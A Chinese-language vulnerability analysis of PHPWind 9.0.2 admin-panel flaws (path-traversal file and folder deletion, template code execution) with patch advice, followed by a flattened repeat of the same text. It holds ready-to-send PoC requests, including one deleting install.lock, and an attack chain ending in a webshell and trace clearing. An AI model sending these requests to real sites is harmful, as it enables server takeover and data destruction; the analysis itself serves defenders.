某wind 9.0.2 任意文件删除&代码执行(后台)
字数 955 2025-08-29 08:31:47

PHPWind 9.0.2 后台漏洞分析与利用指南

0x01 漏洞概述

PHPWind 9.0.2 后台存在多个高危漏洞,包括:

  1. 任意文件夹删除漏洞
  2. 任意文件删除漏洞
  3. 代码执行漏洞

这些漏洞可导致攻击者在获取后台权限后完全控制服务器。

0x02 漏洞详细分析

0x02_1 任意文件夹删除漏洞

漏洞文件/src/applications/backup/admin/BackupController.php

漏洞代码(105-119行):

public function batchdeleteAction() {
    $files = $this->getInput('files');
    !$files && $this->showError('BACKUP:name.empty');
    foreach($files as $value){
        $value = WindSecurity::escapePath($value);
        if (!$value) continue;
        if(preg_match('/^(\w{8}_pw_[^_]+_\d{14})(.*)(sql|zip)$/i', $value)){
            $deletePath = $this->_bakupDir . $value;
            WindFile::del($deletePath);
        }elseif (preg_match('/^\w{8}_pw_d{14})/i', $value)) {
            WindFolder::rm($this->_bakupDir . $value,true);
        }
    }
    $this->showMessage('success');
}

漏洞点分析

  1. WindSecurity::escapePath() 函数未过滤 ../ 目录遍历字符
  2. 正则表达式 (.*) 允许任意字符,可构造路径遍历

安全函数缺陷
/wind/utility/WindSecurity.php 中的 escapePath() 函数:

public static function escapePath($filePath, $ifCheck = false) {
    $_tmp = array("\0" => '');
    if ($ifCheck && strtr($filePath, $_tmp) == $filePath) {
        return preg_replace('/[^\w\-\.]/i', '', $filePath);
    }
    throw new WindException('[utility.WindSecurity.escapePath] file path is illegal');
}

0x02_2 任意文件删除漏洞

漏洞文件/src/applications/appcenter/admin/AppController.php

漏洞代码(182-188行):

public function delFileAction() {
    $file = $this->getInput('file', 'post');
    if ($file && file_exists(ATTACH_PATH . $file)) {
        WindFile::del(ATTACH_PATH . $file);
    }
    $this->showMessage('success');
}

漏洞点分析

  1. 无任何路径过滤
  2. 可通过 ../ 遍历到任意目录
  3. 开发错误导致 ATTACH_PATH 与实际路径不匹配,但仍可利用

0x02_3 代码执行漏洞

漏洞位置
后台 => 门户 => 模板管理 => 添加模块

漏洞描述

  1. 插入的代码会被写入数据库
  2. 通过"调用代码"功能时,代码会被执行

0x03 漏洞利用方法

任意文件夹删除漏洞利用

POC 1

POST /admin.php?m=backup&c=backup&a=batchdelete HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [有效的后台cookie]

files[]=YXYJjQpA_pw_9-0-2_20190117162037/coolcat/&csrf_token=[有效的token]

POC 2

POST /admin.php?m=appcenter&c=app&a=delFolder HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [有效的后台cookie]

csrf_token=[有效的token]&folder=demo/coolcat/

任意文件删除漏洞利用

POC

POST /admin.php?m=appcenter&c=app&a=delFile HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [有效的后台cookie]

csrf_token=[有效的token]&file=/../data/install.lock

代码执行漏洞利用

  1. 登录后台
  2. 导航到:门户 => 模板管理 => 添加模块
  3. 插入恶意PHP代码
  4. 通过"调用代码"功能执行代码

0x04 修复建议

  1. 升级到最新版本
  2. 临时修复方案:
    • 修改 WindSecurity::escapePath() 函数,过滤 ../
    • 严格限制文件删除操作的路径范围
    • 对模板代码进行严格过滤

0x05 总结

PHPWind 9.0.2 后台存在多个高危漏洞,攻击链如下:

  1. 通过其他漏洞获取后台权限(如SQL注入)
  2. 利用代码执行漏洞获取Webshell
  3. 利用文件删除漏洞清除痕迹或破坏系统

管理员应及时更新系统并检查服务器安全状况。

PHPWind 9.0.2 后台漏洞分析与利用指南 0x01 漏洞概述 PHPWind 9.0.2 后台存在多个高危漏洞,包括: 任意文件夹删除漏洞 任意文件删除漏洞 代码执行漏洞 这些漏洞可导致攻击者在获取后台权限后完全控制服务器。 0x02 漏洞详细分析 0x02_ 1 任意文件夹删除漏洞 漏洞文件 : /src/applications/backup/admin/BackupController.php 漏洞代码 (105-119行): 漏洞点分析 : WindSecurity::escapePath() 函数未过滤 ../ 目录遍历字符 正则表达式 (.*) 允许任意字符,可构造路径遍历 安全函数缺陷 : /wind/utility/WindSecurity.php 中的 escapePath() 函数: 0x02_ 2 任意文件删除漏洞 漏洞文件 : /src/applications/appcenter/admin/AppController.php 漏洞代码 (182-188行): 漏洞点分析 : 无任何路径过滤 可通过 ../ 遍历到任意目录 开发错误导致 ATTACH_PATH 与实际路径不匹配,但仍可利用 0x02_ 3 代码执行漏洞 漏洞位置 : 后台 => 门户 => 模板管理 => 添加模块 漏洞描述 : 插入的代码会被写入数据库 通过"调用代码"功能时,代码会被执行 0x03 漏洞利用方法 任意文件夹删除漏洞利用 POC 1 : POC 2 : 任意文件删除漏洞利用 POC : 代码执行漏洞利用 登录后台 导航到:门户 => 模板管理 => 添加模块 插入恶意PHP代码 通过"调用代码"功能执行代码 0x04 修复建议 升级到最新版本 临时修复方案: 修改 WindSecurity::escapePath() 函数,过滤 ../ 严格限制文件删除操作的路径范围 对模板代码进行严格过滤 0x05 总结 PHPWind 9.0.2 后台存在多个高危漏洞,攻击链如下: 通过其他漏洞获取后台权限(如SQL注入) 利用代码执行漏洞获取Webshell 利用文件删除漏洞清除痕迹或破坏系统 管理员应及时更新系统并检查服务器安全状况。